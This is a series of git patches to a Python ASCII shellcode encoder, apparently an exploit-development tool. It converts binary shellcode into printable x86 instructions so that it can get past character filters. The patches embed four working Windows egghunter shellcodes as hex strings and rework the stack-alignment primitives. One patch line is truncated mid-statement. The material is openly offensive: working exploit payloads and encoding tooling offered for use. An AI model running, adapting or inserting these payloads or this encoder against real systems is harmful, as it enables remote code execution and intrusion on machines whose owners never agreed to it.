From f9790def9bcffce9851041b7711da4108171bd5d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Victor=20Guti=C3=A9rrez?= Date: Sun, 15 Apr 2018 23:02:38 -0300 Subject: [PATCH 1/8] Eliminado el desplazamiento de ESP --- ascii-shellcode-encoder.py | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) diff --git a/ascii-shellcode-encoder.py b/ascii-shellcode-encoder.py index a69ab94..0bbc938 100644 --- a/ascii-shellcode-encoder.py +++ b/ascii-shellcode-encoder.py @@ -8,9 +8,7 @@ # and it yields on the output it's ASCII encoded form. # # This payload will at the beginning align the stack by firstly moving -# ESP value to the EAX, then by adding to the EAX value 0x16CA then by -# setting ESP with such resulted EAX. It means that the final decoded shellcode -# will get stored in the stack, by 0x16CA bytes away from current stack address. +# ESP value to the EAX. # # Obviously, this encoder will not be working under DEP/W^X environments. # @@ -56,14 +54,6 @@ # 25 3532312A AND EAX,2A313235 'zero-eax': '%JMNU%521*', - # Aligns a stack address that the EAX will take, by - # adding value of 0x1688 to the EAX register - # 2D 41373737 SUB EAX, 37373741 - # 2D 69252525 SUB EAX, 25252569 - # 2D 72324949 SUB EAX, 49493272 - # 2D 5C5A5A5A SUB EAX, 5A5A5A5C - 'eax-stack-align' : '-A777-i%%%-r2II-\\ZZZ', - # Sets ESP (stack pointer) to EAX # 50 PUSH EAX # 5c POP ESP From e8a57cd8d1a0c0ca027d133a324b1821a721af95 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Victor=20Guti=C3=A9rrez?= Date: Sun, 15 Apr 2018 23:49:43 -0300 Subject: [PATCH 2/8] =?UTF-8?q?Adici=C3=B3n=20de=20egghunters=20por=20defe?= =?UTF-8?q?cto?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ascii-shellcode-encoder.py | 34 ++++++++++++++++++++++++---------- 1 file changed, 24 insertions(+), 10 deletions(-) diff --git a/ascii-shellcode-encoder.py b/ascii-shellcode-encoder.py index 0bbc938..08a4e99 100644 --- a/ascii-shellcode-encoder.py +++ b/ascii-shellcode-encoder.py @@ -33,6 +33,9 @@ # Be more verbose. DEBUG = False +# Egghunter tag. +TAG = 'w00t' + # Set it to True in order to always prepend ZERO-EAX primitive before # sequence of SUB operations. The `gen` routine will then operate on # previous value being always 0x00000000 instead of previously held in @@ -287,7 +290,6 @@ def process(inp, prepend_init = True): if prepend_init: out += primitives['zero-eax'] out += primitives['set-eax-to-esp'] - out += primitives['eax-stack-align'] out += primitives['set-esp-to-eax'] if not PREPEND_ZERO_OUT: @@ -315,19 +317,25 @@ def process(inp, prepend_init = True): def usage(): print ''' - :: printable-shellcode.py - Utility generating a ASCII-printable shellcode - out of provided binary file (ASCII encoder). - Mariusz B. / mgeeky, '17 +printable-shellcode.py - Utility generating a ASCII-printable shellcode +out of provided binary file (ASCII encoder). +Mariusz B. / mgeeky, '17 - Algorithm based on terrific `dissembler` tool by Phiral Research Labs, - by Jon Erickson +Algorithm based on terrific `dissembler` tool by Phiral Research Labs, +by Jon Erickson Usage: printable-shellcode.py Where: - input-file - input file containing shellcode, '-' for stdin or 'EGG' for - standard T00WT00W 32-bit windows egghunter + input-file - input file containing shellcode, '-' for stdin or + 'EGG1' for SEH egghunter (not recommended) or + 'EGG2' for IsBadReadPtr egghunter or + 'EGG3' for NtDisplayString egghunter or + 'EGG4' for NtAccessCheckAndAuditAlarm egghunter. + + Note: The default egghunter tag is 'w00t'. + 0xValue - single DWORD value, prepended with 0x to encode. output-file - file to store result of ASCII encoding, or '-' for stdout ''' @@ -385,8 +393,14 @@ def main(): elif sys.argv[1].startswith('0x'): input_bytes = ''.join([chr(c) for c in decompose(int(sys.argv[1], 16))]) prepend_init = False - elif sys.argv[1] == 'EGG': - input_bytes = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" + elif sys.argv[1] == 'EGG1': + input_bytes = '\xeb\x21\x59\xb8' + TAG + '\x51\x6a\xff\x33\xdb\x64\x89\x23\x6a\x02\x59\x8b\xfb\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xda\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x33\xc0\xc3' + elif sys.argv[1] == 'EGG2': + input_bytes = '\x33\xdb\x66\x81\xcb\xff\x0f\x43\x6a\x08\x53\xb8\x0d\x5b\xe7\x77\xff\xd0\x85\xc0\x75\xec\xb8' + TAG + '\x8b\xfb\xaf\x75\xe7\xaf\x75\xe4\xff\xe7' + elif sys.argv[1] == 'EGG3': + input_bytes = '\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8' + TAG + '\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7' + elif sys.argv[1] == 'EGG4': + input_bytes = '\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8' + TAG + '\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7' else: with open(sys.argv[1], 'rb') as f: input_bytes = f.read() From c51dff9d608a54ce66ca6f1fe924d7db17abade0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Victor=20Guti=C3=A9rrez?= Date: Mon, 16 Apr 2018 00:16:58 -0300 Subject: [PATCH 3/8] =?UTF-8?q?Edici=C3=B3n=20output?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ascii-shellcode-encoder.py | 21 ++++++++++++++++----- 1 file changed, 16 insertions(+), 5 deletions(-) diff --git a/ascii-shellcode-encoder.py b/ascii-shellcode-encoder.py index 08a4e99..b314afe 100644 --- a/ascii-shellcode-encoder.py +++ b/ascii-shellcode-encoder.py @@ -340,7 +340,7 @@ def usage(): output-file - file to store result of ASCII encoding, or '-' for stdout ''' -def display_output(out): +def display_output(out, is_egghunter): print '[+] SHELLCODE ENCODED PROPERLY. Resulted length: %d bytes' % (len(out)) print print '-' * 80 @@ -353,11 +353,17 @@ def display_output(out): print '[+] ESCAPED-HEX FORM:' print ''.join(['\\x%02x' % ord(c) for c in out]) print - print '[+] PYTHON COMPACT SEXY FORM:' - buf = '\tshellcode += r"' + print '[+] PYTHON COMPACT FORM:' + if is_egghunter == True: + buf = 'egghunter = r"' + else: + buf = 'shellcode = r"' for i in range(len(out)): if i % 20 == 0 and i > 0: - buf += '"\n\tshellcode += r"' + if is_egghunter == True: + buf += '"\negghunter += r"' + else: + buf += '"\nshellcode += r"' buf += out[i] buf += '"' print buf @@ -395,15 +401,20 @@ def main(): prepend_init = False elif sys.argv[1] == 'EGG1': input_bytes = '\xeb\x21\x59\xb8' + TAG + '\x51\x6a\xff\x33\xdb\x64\x89\x23\x6a\x02\x59\x8b\xfb\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xda\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x33\xc0\xc3' + is_egghunter = True elif sys.argv[1] == 'EGG2': input_bytes = '\x33\xdb\x66\x81\xcb\xff\x0f\x43\x6a\x08\x53\xb8\x0d\x5b\xe7\x77\xff\xd0\x85\xc0\x75\xec\xb8' + TAG + '\x8b\xfb\xaf\x75\xe7\xaf\x75\xe4\xff\xe7' + is_egghunter = True elif sys.argv[1] == 'EGG3': input_bytes = '\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8' + TAG + '\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7' + is_egghunter = True elif sys.argv[1] == 'EGG4': input_bytes = '\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8' + TAG + '\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7' + is_egghunter = True else: with open(sys.argv[1], 'rb') as f: input_bytes = f.read() + is_egghunter = False print '[*] Input buffer size: %d bytes.' % (len(input_bytes)) @@ -414,7 +425,7 @@ def main(): out = process(input_bytes, prepend_init) if out: success = True - display_output(out) + display_output(out, is_egghunter) if len(sys.argv) > 2 and sys.argv[2] != '-': with open(sys.argv[2], 'wb') as f: f.write(out) From a84f881876c5b2625f64d2569f2484e3c46aa3dc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Victor=20Guti=C3=A9rrez?= Date: Mon, 16 Apr 2018 01:49:35 -0300 Subject: [PATCH 4/8] Fix --- ascii-shellcode-encoder.py | 67 +++++++++++++++++++------------------- 1 file changed, 33 insertions(+), 34 deletions(-) diff --git a/ascii-shellcode-encoder.py b/ascii-shellcode-encoder.py index b314afe..82bd088 100644 --- a/ascii-shellcode-encoder.py +++ b/ascii-shellcode-encoder.py @@ -47,26 +47,24 @@ MAX_NUM = 128 primitives = { - # Zeros-out the EAX register - # 25 4a4f4e45 AND EAX,454e4f4a - # 25 3530313a AND EAX,3a313035 - #'zero-eax' : '%JONE%501:', - # Zeros-out the EAX register # 25 4A4D4E55 AND EAX,554E4D4A # 25 3532312A AND EAX,2A313235 'zero-eax': '%JMNU%521*', + # Aligns a stack address that the EAX will take, by + # adding value of 0x1688 to the EAX register + # 2D 41373737 SUB EAX, 37373741 + # 2D 69252525 SUB EAX, 25252569 + # 2D 72324949 SUB EAX, 49493272 + # 2D 5C5A5A5A SUB EAX, 5A5A5A5C + 'eax-stack-align' : '-A777-i%%%-r2II-\\ZZZ', + # Sets ESP (stack pointer) to EAX # 50 PUSH EAX # 5c POP ESP 'set-esp-to-eax' : 'P\\', - # Sets EAX to ESP - # 54 PUSH ESP - # 58 POP EAX - 'set-eax-to-esp' : 'TX', - # ASCII friendly NOP equivalent # 47 INC EDI 'nop' : 'G', @@ -289,7 +287,6 @@ def process(inp, prepend_init = True): if prepend_init: out += primitives['zero-eax'] - out += primitives['set-eax-to-esp'] out += primitives['set-esp-to-eax'] if not PREPEND_ZERO_OUT: @@ -324,23 +321,32 @@ def usage(): Algorithm based on terrific `dissembler` tool by Phiral Research Labs, by Jon Erickson +Custom by UND3R + Usage: - printable-shellcode.py + printable-shellcode.py Where: - input-file - input file containing shellcode, '-' for stdin or - 'EGG1' for SEH egghunter (not recommended) or + input-file - input file containing shellcode or + 'EGG1' for SEH egghunter or 'EGG2' for IsBadReadPtr egghunter or 'EGG3' for NtDisplayString egghunter or 'EGG4' for NtAccessCheckAndAuditAlarm egghunter. - Note: The default egghunter tag is 'w00t'. + note: the default egghunter tag is 'w00t'. - 0xValue - single DWORD value, prepended with 0x to encode. + 0xDWORD - single DWORD value, prepended with 0x to encode. output-file - file to store result of ASCII encoding, or '-' for stdout ''' -def display_output(out, is_egghunter): +def display_output(out, var_type): + if var_type == 1: + var_text = 'dword' + elif var_type == 2: + var_text = 'egghunter' + else: + var_text = 'shellcode' + print 'EL VALOR ES ' + str(valor) print '[+] SHELLCODE ENCODED PROPERLY. Resulted length: %d bytes' % (len(out)) print print '-' * 80 @@ -354,16 +360,10 @@ def display_output(out, is_egghunter): print ''.join(['\\x%02x' % ord(c) for c in out]) print print '[+] PYTHON COMPACT FORM:' - if is_egghunter == True: - buf = 'egghunter = r"' - else: - buf = 'shellcode = r"' + buf = var_text + ' = r"' for i in range(len(out)): if i % 20 == 0 and i > 0: - if is_egghunter == True: - buf += '"\negghunter += r"' - else: - buf += '"\nshellcode += r"' + buf += '"\n' + var_text + ' += r"' buf += out[i] buf += '"' print buf @@ -394,27 +394,26 @@ def main(): input_bytes = [] prepend_init = True - if sys.argv[1] == '-': - input_bytes = sys.stdin.read() - elif sys.argv[1].startswith('0x'): + if sys.argv[1].startswith('0x'): input_bytes = ''.join([chr(c) for c in decompose(int(sys.argv[1], 16))]) prepend_init = False + var_type = 1 elif sys.argv[1] == 'EGG1': input_bytes = '\xeb\x21\x59\xb8' + TAG + '\x51\x6a\xff\x33\xdb\x64\x89\x23\x6a\x02\x59\x8b\xfb\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xda\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x33\xc0\xc3' - is_egghunter = True + var_type = 2 elif sys.argv[1] == 'EGG2': input_bytes = '\x33\xdb\x66\x81\xcb\xff\x0f\x43\x6a\x08\x53\xb8\x0d\x5b\xe7\x77\xff\xd0\x85\xc0\x75\xec\xb8' + TAG + '\x8b\xfb\xaf\x75\xe7\xaf\x75\xe4\xff\xe7' - is_egghunter = True + var_type = 2 elif sys.argv[1] == 'EGG3': input_bytes = '\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8' + TAG + '\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7' - is_egghunter = True + var_type = 2 elif sys.argv[1] == 'EGG4': input_bytes = '\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8' + TAG + '\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7' - is_egghunter = True + var_type = 2 else: with open(sys.argv[1], 'rb') as f: input_bytes = f.read() - is_egghunter = False + var_type = 3 print '[*] Input buffer size: %d bytes.' % (len(input_bytes)) @@ -425,7 +424,7 @@ def main(): out = process(input_bytes, prepend_init) if out: success = True - display_output(out, is_egghunter) + display_output(out, var_type) if len(sys.argv) > 2 and sys.argv[2] != '-': with open(sys.argv[2], 'wb') as f: f.write(out) From f7eaedd3c37d0ae2a4442e728b8fc2fd246cf44d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Victor=20Guti=C3=A9rrez?= Date: Mon, 16 Apr 2018 01:55:31 -0300 Subject: [PATCH 5/8] Update --- ascii-shellcode-encoder.py | 1 - 1 file changed, 1 deletion(-) diff --git a/ascii-shellcode-encoder.py b/ascii-shellcode-encoder.py index 82bd088..774b357 100644 --- a/ascii-shellcode-encoder.py +++ b/ascii-shellcode-encoder.py @@ -346,7 +346,6 @@ def display_output(out, var_type): var_text = 'egghunter' else: var_text = 'shellcode' - print 'EL VALOR ES ' + str(valor) print '[+] SHELLCODE ENCODED PROPERLY. Resulted length: %d bytes' % (len(out)) print print '-' * 80 From cd8db75a39bdcd000c3aea3d0db9fb361dcb0166 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Victor=20Guti=C3=A9rrez?= Date: Mon, 16 Apr 2018 02:10:48 -0300 Subject: [PATCH 6/8] Fix primitives --- ascii-shellcode-encoder.py | 18 +++++------------- 1 file changed, 5 insertions(+), 13 deletions(-) diff --git a/ascii-shellcode-encoder.py b/ascii-shellcode-encoder.py index 774b357..c2d90cd 100644 --- a/ascii-shellcode-encoder.py +++ b/ascii-shellcode-encoder.py @@ -52,18 +52,10 @@ # 25 3532312A AND EAX,2A313235 'zero-eax': '%JMNU%521*', - # Aligns a stack address that the EAX will take, by - # adding value of 0x1688 to the EAX register - # 2D 41373737 SUB EAX, 37373741 - # 2D 69252525 SUB EAX, 25252569 - # 2D 72324949 SUB EAX, 49493272 - # 2D 5C5A5A5A SUB EAX, 5A5A5A5C - 'eax-stack-align' : '-A777-i%%%-r2II-\\ZZZ', - - # Sets ESP (stack pointer) to EAX - # 50 PUSH EAX - # 5c POP ESP - 'set-esp-to-eax' : 'P\\', + # Sets EAX to ESP + # 54 PUSH ESP + # 58 POP EAX + 'set-eax-to-esp' : 'TX', # ASCII friendly NOP equivalent # 47 INC EDI @@ -287,7 +279,7 @@ def process(inp, prepend_init = True): if prepend_init: out += primitives['zero-eax'] - out += primitives['set-esp-to-eax'] + out += primitives['set-eax-to-esp'] if not PREPEND_ZERO_OUT: out += primitives['zero-eax'] From fd33f0a12410c1d4cc0092729ea1e97572ce3749 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Victor=20Guti=C3=A9rrez?= Date: Mon, 16 Apr 2018 03:16:17 -0300 Subject: [PATCH 7/8] Fix IsBadReadPtr eggshell --- ascii-shellcode-encoder.py | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/ascii-shellcode-encoder.py b/ascii-shellcode-encoder.py index c2d90cd..6a3a5da 100644 --- a/ascii-shellcode-encoder.py +++ b/ascii-shellcode-encoder.py @@ -22,6 +22,7 @@ import struct import ctypes import sys +import ctypes # ================================================ # OPTIONS @@ -69,6 +70,13 @@ class InvalidCharResulted(Exception): pass +def resolve_function(dll, func): + kernel32 = ctypes.windll.kernel32 + handle = kernel32.GetModuleHandleA(dll) + address = kernel32.GetProcAddress(handle, func) + kernel32.CloseHandle(handle) + return address + def dbg(x, raw = False): if DEBUG: if raw: @@ -393,7 +401,8 @@ def main(): input_bytes = '\xeb\x21\x59\xb8' + TAG + '\x51\x6a\xff\x33\xdb\x64\x89\x23\x6a\x02\x59\x8b\xfb\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xda\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x33\xc0\xc3' var_type = 2 elif sys.argv[1] == 'EGG2': - input_bytes = '\x33\xdb\x66\x81\xcb\xff\x0f\x43\x6a\x08\x53\xb8\x0d\x5b\xe7\x77\xff\xd0\x85\xc0\x75\xec\xb8' + TAG + '\x8b\xfb\xaf\x75\xe7\xaf\x75\xe4\xff\xe7' + address = resolve_function('kernel32.dll', 'IsBadReadPtr') + input_bytes = '\x33\xdb\x66\x81\xcb\xff\x0f\x43\x6a\x08\x53\xb8' + struct.pack(" Date: Tue, 3 Jul 2018 12:45:25 -0400 Subject: [PATCH 8/8] Fix 0xDWORD and primitives --- ascii-shellcode-encoder.py | 26 ++++++++++++++++++-------- 1 file changed, 18 insertions(+), 8 deletions(-) diff --git a/ascii-shellcode-encoder.py b/ascii-shellcode-encoder.py index 6a3a5da..7f96b2e 100644 --- a/ascii-shellcode-encoder.py +++ b/ascii-shellcode-encoder.py @@ -48,11 +48,21 @@ MAX_NUM = 128 primitives = { + # Zeros-out the EAX register + # 25 4a4f4e45 AND EAX,454e4f4a + # 25 3530313a AND EAX,3a313035 + #'zero-eax' : '%JONE%501:', + # Zeros-out the EAX register # 25 4A4D4E55 AND EAX,554E4D4A # 25 3532312A AND EAX,2A313235 'zero-eax': '%JMNU%521*', + # Sets ESP (stack pointer) to EAX + # 50 PUSH EAX + # 5c POP ESP + 'set-esp-to-eax' : 'P\\', + # Sets EAX to ESP # 54 PUSH ESP # 58 POP EAX @@ -286,8 +296,11 @@ def process(inp, prepend_init = True): out = '' if prepend_init: - out += primitives['zero-eax'] out += primitives['set-eax-to-esp'] + # Align ESP: + # ESP >= (EIP+adding_value+resulted_length+buffer_size) + # * adding_value = 0x15 bytes + set-esp-to-eax 0x2 bytes = 0x17 bytes + #out += primitives['set-esp-to-eax'] if not PREPEND_ZERO_OUT: out += primitives['zero-eax'] @@ -307,9 +320,11 @@ def process(inp, prepend_init = True): out += primitives['zero-eax'] else: prev = dword - out += instr + primitives['store-on-stack'] + if(prepend_init): + out += instr + primitives['store-on-stack'] + else: + out += instr - return out def usage(): @@ -317,15 +332,11 @@ def usage(): printable-shellcode.py - Utility generating a ASCII-printable shellcode out of provided binary file (ASCII encoder). Mariusz B. / mgeeky, '17 - Algorithm based on terrific `dissembler` tool by Phiral Research Labs, by Jon Erickson - Custom by UND3R - Usage: printable-shellcode.py - Where: input-file - input file containing shellcode or 'EGG1' for SEH egghunter or @@ -334,7 +345,6 @@ def usage(): 'EGG4' for NtAccessCheckAndAuditAlarm egghunter. note: the default egghunter tag is 'w00t'. - 0xDWORD - single DWORD value, prepended with 0x to encode. output-file - file to store result of ASCII encoding, or '-' for stdout '''